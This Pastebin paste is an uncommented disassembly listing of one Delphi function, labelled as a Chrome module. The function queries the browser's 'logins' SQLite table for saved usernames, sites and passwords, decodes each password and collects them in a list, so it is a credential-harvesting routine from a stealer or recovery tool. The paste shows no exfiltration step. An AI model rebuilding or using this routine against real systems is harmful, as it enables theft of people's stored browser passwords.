Guest User

Untitled

a guest
Dec 18th, 2018
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  _Unit123::sub_0067C57C
  2.  0067C57C    push       ebp
  3.  0067C57D    mov        ebp,esp
  4.  0067C57F    mov        ecx,0D
  5.  0067C584    push       0
  6.  0067C586    push       0
  7.  0067C588    dec        ecx
  8. <0067C589    jne        0067C584
  9.  0067C58B    push       ebx
  10.  0067C58C    push       esi
  11.  0067C58D    push       edi
  12.  0067C58E    mov        ebx,edx
  13.  0067C590    mov        dword ptr [ebp-4],eax
  14.  0067C593    xor        eax,eax
  15.  0067C595    push       ebp
  16.  0067C596    push       67C7C0
  17.  0067C59B    push       dword ptr fs:[eax]
  18.  0067C59E    mov        dword ptr fs:[eax],esp
  19.  0067C5A1    mov        eax,ebx
  20.  0067C5A3    call       0050A574
  21.  0067C5A8    test       al,al
  22. >0067C5AA    je         0067C782
  23.  0067C5B0    xor        ecx,ecx
  24.  0067C5B2    mov        dl,1
  25.  0067C5B4    mov        eax,[005CB7A0]; TASQLite3DB
  26.  0067C5B9    call       TASQLite3DB.Create; TASQLite3DB.Create
  27.  0067C5BE    mov        dword ptr [ebp-8],eax
  28.  0067C5C1    xor        ecx,ecx
  29.  0067C5C3    mov        dl,1
  30.  0067C5C5    mov        eax,[005CC684]; TASQLite3Query
  31.  0067C5CA    call       TASQLite3Query.Create; TASQLite3Query.Create
  32.  0067C5CF    mov        dword ptr [ebp-0C],eax
  33.  0067C5D2    xor        eax,eax
  34.  0067C5D4    push       ebp
  35.  0067C5D5    push       67C75B
  36.  0067C5DA    push       dword ptr fs:[eax]
  37.  0067C5DD    mov        dword ptr fs:[eax],esp
  38.  0067C5E0    mov        edx,ebx
  39.  0067C5E2    mov        eax,dword ptr [ebp-8]
  40.  0067C5E5    call       TASQLite3DB.SetDatabase
  41.  0067C5EA    mov        eax,dword ptr [ebp-8]
  42.  0067C5ED    call       005D0374
  43.  0067C5F2    mov        eax,dword ptr [ebp-0C]
  44.  0067C5F5    mov        edx,dword ptr [ebp-8]
  45.  0067C5F8    mov        dword ptr [eax+1B8],edx; TASQLite3Query.Connection:TASQLite3DB
  46.  0067C5FE    mov        eax,dword ptr [ebp-0C]
  47.  0067C601    mov        byte ptr [eax+1BC],1; TASQLite3Query.ReadOnly:Boolean
  48.  0067C608    mov        eax,dword ptr [ebp-0C]
  49.  0067C60B    call       TASQLite3Query.GetSQL
  50.  0067C610    mov        edx,67C7D8; 'SELECT password_value, signon_realm, username_value, date_created FROM \"logins\"'
  51.  0067C615    mov        ecx,dword ptr [eax]
  52.  0067C617    call       dword ptr [ecx+2C]
  53.  0067C61A    mov        eax,dword ptr [ebp-0C]
  54.  0067C61D    call       005C5BD8
  55. >0067C622    jmp        0067C739
  56.  0067C627    mov        edx,67C830; 'username_value'
  57.  0067C62C    mov        eax,dword ptr [ebp-0C]
  58.  0067C62F    call       005C6E08
  59.  0067C634    lea        edx,[ebp-30]
  60.  0067C637    mov        ecx,dword ptr [eax]
  61.  0067C639    call       dword ptr [ecx+64]
  62.  0067C63C    lea        eax,[ebp-30]
  63.  0067C63F    lea        edx,[ebp-10]
  64.  0067C642    call       VarToStr
  65.  0067C647    mov        edx,67C848; 'signon_realm'
  66.  0067C64C    mov        eax,dword ptr [ebp-0C]
  67.  0067C64F    call       005C6E08
  68.  0067C654    lea        edx,[ebp-40]
  69.  0067C657    mov        ecx,dword ptr [eax]
  70.  0067C659    call       dword ptr [ecx+64]
  71.  0067C65C    lea        eax,[ebp-40]
  72.  0067C65F    lea        edx,[ebp-14]
  73.  0067C662    call       VarToStr
  74.  0067C667    mov        edx,67C860; 'password_value'
  75.  0067C66C    mov        eax,dword ptr [ebp-0C]
  76.  0067C66F    call       005C6E08
  77.  0067C674    lea        edx,[ebp-50]
  78.  0067C677    mov        ecx,dword ptr [eax]
  79.  0067C679    call       dword ptr [ecx+64]
  80.  0067C67C    lea        eax,[ebp-50]
  81.  0067C67F    lea        edx,[ebp-18]
  82.  0067C682    call       VarToStr
  83.  0067C687    mov        edx,67C878; 'date_created'
  84.  0067C68C    mov        eax,dword ptr [ebp-0C]
  85.  0067C68F    call       005C6E08
  86.  0067C694    lea        edx,[ebp-60]
  87.  0067C697    mov        ecx,dword ptr [eax]
  88.  0067C699    call       dword ptr [ecx+64]
  89.  0067C69C    lea        eax,[ebp-60]
  90.  0067C69F    call       @VarToReal
  91.  0067C6A4    fstp       qword ptr [ebp-20]
  92.  0067C6A7    wait
  93.  0067C6A8    fld        qword ptr [ebp-20]
  94.  0067C6AB    fdiv       dword ptr ds:[67C888]; 86400:Single
  95.  0067C6B1    mov        eax,[0070143C]; ^gvar_006F9968:?Double
  96.  0067C6B6    fadd       qword ptr [eax]
  97.  0067C6B8    fstp       qword ptr [ebp-20]
  98.  0067C6BB    wait
  99.  0067C6BC    lea        ecx,[ebp-64]
  100.  0067C6BF    mov        edx,dword ptr [ebp-18]
  101.  0067C6C2    mov        eax,dword ptr [ebp-4]
  102.  0067C6C5    call       0067C194
  103.  0067C6CA    mov        edx,dword ptr [ebp-64]
  104.  0067C6CD    lea        eax,[ebp-18]
  105.  0067C6D0    call       @LStrLAsg
  106.  0067C6D5    cmp        dword ptr [ebp-18],0
  107. >0067C6D9    je         0067C731
  108.  0067C6DB    mov        edx,dword ptr ds:[670FB4]; TSafariItem
  109.  0067C6E1    mov        eax,18
  110.  0067C6E6    call       00505960
  111.  0067C6EB    mov        ebx,eax
  112.  0067C6ED    mov        eax,dword ptr [ebp-4]
  113.  0067C6F0    mov        eax,dword ptr [eax+38]; TModule_Chrome.?f38:TList
  114.  0067C6F3    mov        edx,ebx
  115.  0067C6F5    call       TList.Add
  116.  0067C6FA    mov        eax,ebx
  117.  0067C6FC    mov        edx,dword ptr [ebp-14]
  118.  0067C6FF    call       @LStrAsg
  119.  0067C704    lea        eax,[ebx+4]
  120.  0067C707    mov        edx,dword ptr [ebp-10]
  121.  0067C70A    call       @LStrAsg
  122.  0067C70F    lea        edx,[ebp-68]
  123.  0067C712    mov        eax,dword ptr [ebp-18]
  124.  0067C715    call       UTF8Decode
  125.  0067C71A    mov        edx,dword ptr [ebp-68]
  126.  0067C71D    lea        eax,[ebx+8]
  127.  0067C720    call       @LStrFromWStr
  128.  0067C725    mov        eax,dword ptr [ebp-20]
  129.  0067C728    mov        dword ptr [ebx+10],eax
  130.  0067C72B    mov        eax,dword ptr [ebp-1C]
  131.  0067C72E    mov        dword ptr [ebx+14],eax
  132.  0067C731    mov        eax,dword ptr [ebp-0C]
  133.  0067C734    call       005C8A0C
  134.  0067C739    mov        eax,dword ptr [ebp-0C]
  135.  0067C73C    cmp        byte ptr [eax+0A1],0; TASQLite3Query.FEOF:Boolean
  136. <0067C743    je         0067C627
  137.  0067C749    mov        eax,dword ptr [ebp-0C]
  138.  0067C74C    call       005C5BF0
  139.  0067C751    xor        eax,eax
  140.  0067C753    pop        edx
  141.  0067C754    pop        ecx
  142.  0067C755    pop        ecx
  143.  0067C756    mov        dword ptr fs:[eax],edx
  144. >0067C759    jmp        0067C772
  145. <0067C75B    jmp        @HandleAnyException
  146.  0067C760    mov        edx,2
  147.  0067C765    mov        eax,dword ptr [ebp-4]
  148.  0067C768    call       006618A4
  149.  0067C76D    call       @DoneExcept
  150.  0067C772    mov        eax,dword ptr [ebp-8]
  151.  0067C775    call       TObject.Free
  152.  0067C77A    mov        eax,dword ptr [ebp-0C]
  153.  0067C77D    call       TObject.Free
  154.  0067C782    xor        eax,eax
  155.  0067C784    pop        edx
  156.  0067C785    pop        ecx
  157.  0067C786    pop        ecx
  158.  0067C787    mov        dword ptr fs:[eax],edx
  159.  0067C78A    push       67C7C7
  160.  0067C78F    lea        eax,[ebp-68]
  161.  0067C792    call       @WStrClr
  162.  0067C797    lea        eax,[ebp-64]
  163.  0067C79A    call       @LStrClr
  164.  0067C79F    lea        eax,[ebp-60]
  165.  0067C7A2    mov        edx,dword ptr ds:[50112C]; Variant
  166.  0067C7A8    mov        ecx,4
  167.  0067C7AD    call       @FinalizeArray
  168.  0067C7B2    lea        eax,[ebp-18]
  169.  0067C7B5    mov        edx,3
  170.  0067C7BA    call       @LStrArrayClr
  171.  0067C7BF    ret
  172. <0067C7C0    jmp        @HandleFinally
  173. <0067C7C5    jmp        0067C78F
  174.  0067C7C7    pop        edi
  175.  0067C7C8    pop        esi
  176.  0067C7C9    pop        ebx
  177.  0067C7CA    mov        esp,ebp
  178.  0067C7CC    pop        ebp
  179.  0067C7CD    ret
Add Comment
Please, Sign In to add comment